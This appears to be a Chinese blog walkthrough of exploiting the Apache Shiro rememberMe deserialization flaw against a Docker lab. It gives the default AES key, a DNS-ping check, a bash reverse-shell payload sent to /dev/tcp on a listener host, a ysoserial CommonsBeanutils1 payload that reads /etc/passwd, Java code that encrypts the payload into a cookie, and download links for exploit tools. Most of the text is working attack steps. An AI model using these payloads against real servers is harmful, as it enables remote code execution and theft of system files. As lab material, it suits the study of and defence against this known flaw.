天天看點

Apache-shiro反序列化

使用docker搭建環境

擷取docker鏡像

docker pull medicean/vulapps:s_shiro_1
           

重新開機docker

systemctl restart docker
           

啟動docker鏡像:

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
           

通路:

http://localhost:8081/ 環境搭建成功

Apache-shiro反序列化

一、檢查有沒有預設key

檢測腳本工具:https://pan.baidu.com/s/1ksvF105y_D86NhpCwEEJ5A

提取碼:vg0x

Apache-shiro反序列化

二、dnslog擷取IP

用上面的腳本工具

擷取dnslog的域名替換

{dnshost}

用檢測出來的key替換掉kPH+bIxk5D2deZiIxcaaaA==

python shiro_exploit.py -u http://target/ -t 3 -p "ping -c 2 {dnshost}" -k "kPH+bIxk5D2deZiIxcaaaA=="
           
Apache-shiro反序列化
Apache-shiro反序列化

三、反彈shell

反彈工具:https://pan.baidu.com/s/1ihgt1aps6lxft-mGzBrBkQ

提取碼:v0y1

先用檢測出來的key,替換腳本裡面的key。

先生成rememberMe

python shiro_1.2.4.py "echo '/bin/bash -i >& /dev/tcp/192.168.88.141/8088 0>&1' >> a.txt &&bash a.txt"
           
Apache-shiro反序列化

登陸,替換cookie,監聽端口。

Apache-shiro反序列化
Apache-shiro反序列化

反彈成功

Apache-shiro反序列化

四、burp回顯

先生成poc.ser檔案

java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" > poc.ser
           

使用Shiro内置的預設密鑰對Payload進行加密:

java調試

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}
           

發送rememberMe Cookie,即可成功執行cat /etc/passwd

繼續閱讀